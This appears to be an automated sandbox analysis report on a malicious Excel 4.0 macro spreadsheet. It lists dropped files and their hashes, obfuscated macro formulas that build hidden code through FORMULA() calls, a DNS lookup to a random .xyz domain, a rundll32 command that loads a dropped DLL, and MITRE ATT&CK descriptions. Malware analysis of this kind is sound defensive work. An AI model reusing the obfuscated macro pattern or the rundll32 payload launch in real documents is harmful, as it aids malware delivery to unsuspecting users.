Preview:	L..................F...........7G....)..G....)..G... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R.J..Desktop.d......QK.X.R.J..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\536720\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......536720..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\IovwfUybUJ.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed May 12 08:23:42 2021, atime=Wed May 12 08:23:42 2021, length=82897, window=hide
Category:	dropped
Size (bytes):	2038
Entropy (8bit):	4.57278260124542
Encrypted:	false
SSDEEP:	48:8ik/XT0ZVXbQON3SNQh2ik/XT0ZVXbQON3SNQ/:8ik/XuVXbINQh2ik/XuVXbINQ/
MD5:	D6B23A17B47E07D3F9ECB5189F9D2D52
SHA1:	B02CB3E10FCCFFD0E54ACF3090A40B7ECDEB0E1F
SHA-256:	A194726FA7E6FF4655F7328639903254B591A06E88CCA66E5A84736BBFB0D7D7
SHA-512:	D321EA5B3109B429DE36E548F43CAE5EDA78045696B24F503AC187A59E136CD1E0F01B58A9C7E17D3B3864AA3973F490BB5476C06B6973A3286C9F23BAD2A531
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...-...{....)..G..d.5..G...C...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....h.2.iH...R.J .IOVWFU~1.XLS..L.......Q.y.Q.y*...8.....................I.o.v.w.f.U.y.b.U.J...x.l.s.x.......y...............-...8...[............?J......C:\Users\..#...................\\536720\Users.user\Desktop\IovwfUybUJ.xlsx.&.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.o.v.w.f.U.y.b.U.J...x.l.s.x.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......536720..........D_....3N...W...9F.C...........[D_....3N...W...9F

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.637997700487247
Encrypted:	false
SSDEEP:	3:oyBVomxWnIS9f0KqfmxWnIS9fv:djUvcvp
MD5:	EC8BFA504F021734837C28B3B42BC4CE
SHA1:	43DAEB03D0DDF96039E252698C7FCBEBA45169E4
SHA-256:	446520601B8F5F2509DB01D6FEC178A23E9CDB1AA9B5F33D3D9CC73F19C41245
SHA-512:	EFA62C469370FC45D4EFC1A5013CF1AE4E32D8AA6A70B161042B86548D0F27CA8230F6A27BD7EB131AD7835D5ADDFED2016D044F7F0F7A0C5442F01071153384
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..IovwfUybUJ.LNK=0..IovwfUybUJ.LNK=0..[misc]..IovwfUybUJ.LNK=0..

C:\Users\user\Desktop\FFDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	82897
Entropy (8bit):	7.896362058614588
Encrypted:	false
SSDEEP:	1536:iHXK4Ys4xTYNlME78wVvV2fVWpIxTFLVSSu8KW5W7YQ9j:i3K4YBkmI2dWpsFLg18KuwYQJ
MD5:	7898148263817928F2B05480C1794ABD
SHA1:	664A3D1F6E4D35F3A4166C4E54C42B9AC4EC250E
SHA-256:	332495AE67C3B5E37A9BBF329950970BE34483FA70CF4D2BE62E122DBDD3C067
SHA-512:	5F8140D2B50F411A9437CFE473DFEFB3BFC9CD6EEFC9F1AF4FB870F9878708B4179F3931B19EE681CE2BF5488B70B25BC622CF896D306A42DF862E0E1716E4E2
Malicious:	false
Preview:	.U.N.0..#....(qY.PS.,G@.\|..O...my....8m..J..J....[.%....:.B@.l...H..N.[..c....IY.jg!..@q?8=....0a..\TD.NJ,h.f...."~........E.w#.g.,..9...c.YS.4...."yX..R.P..P.F...........3.......:...bx.".....m..i..9.oG..q..as.C......3......{.+.+..`4$o.j8-9.....I..d.0.P.F....C.=......H..%......<..WG....\|.w-....hK..C"-j..W.$.R.T..N........C.5.......v..px..#.....n...z&.@.....&...Sa.....q:j.[.e;.._.......PK..........!..2..............[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0...H.C...n

C:\Users\user\Desktop\~$IovwfUybUJ.xls Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$IovwfUybUJ.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.8985100800919925
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	IovwfUybUJ.xlsx
File size:	84073
MD5:	bcb5f8c6da6103a5bbd4891095f807af
SHA1:	fccc0e19a042d3da003bc4184b32c784ca5dfd14
SHA256:	9872498872843b5aae813d390df3e46ae02a4cc994ade723e4f5ba2973043fb7
SHA512:	6ab60fdcbc2f44b596fe66bd513e656d541d05f945f54d6e35616c31ab28fdfa587658fa69e68c6bd56842805f8ca21727b7a51fda6f594f9d2b198ecb8fbcd2
SSDEEP:	1536:yE7pyuK4Ys4xTYNlME78wVvVlf7u03IxTFLVSSu8KW5W7YQfH:ycK4YBkmIlXsFLg18KuwYQfH
File Content Preview:	PK..........!..g.C....e.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "IovwfUybUJ.xlsx"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)='Doc1'!AJ5()",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!$AT$3&'Doc4'!$AT$4&'Doc4'!$AT$5&'Doc4'!$AT$6&'Doc4'!$AT$7&'Doc4'!$AT$8,before.4.2.0.sheet!$AQ$13)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=FORMULA('Doc4'!AU3&'Doc4'!AU4&'Doc4'!AU5&'Doc4'!AU6&'Doc4'!AU7&'Doc4'!AU8&'Doc4'!AU9&'Doc4'!AU10&'Doc4'!AU11&'Doc4'!AU12&'Doc4'!AU13&'Doc4'!AU14&'Doc4'!AU15&'Doc4'!AU16&'Doc4'!AU17&'Doc4'!AU18&'Doc4'!AU19&'Doc4'!AU20,before.4.2.0.sheet!AQ14)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=RAND()=SUMPRODUCT(54623,42,452,452,452)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

=HALT()ttp://

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Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 02:23:53.896385908 CEST	52197	53	192.168.2.22	8.8.8.8
May 12, 2021 02:23:53.958700895 CEST	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 02:23:53.896385908 CEST	192.168.2.22	8.8.8.8	0x312a	Standard query (0)	qvqy23thdsed03xjeqtf.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 02:23:53.958700895 CEST	8.8.8.8	192.168.2.22	0x312a	Name error (3)	qvqy23thdsed03xjeqtf.xyz	none	none	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2412 Parent PID: 584

General

Start time:	02:23:39
Start date:	12/05/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f020000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2640 Parent PID: 2412

General

Start time:	02:23:43
Start date:	12/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\iuhdvcl.ckd,DllRegisterServer
Imagebase:	0xffab0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report IovwfUybUJ.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "IovwfUybUJ.xlsx"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2412 Parent PID: 584

General

Chronological Activities

Analysis Process: rundll32.exe PID: 2640 Parent PID: 2412

General

Chronological Activities

Disassembly

Code Analysis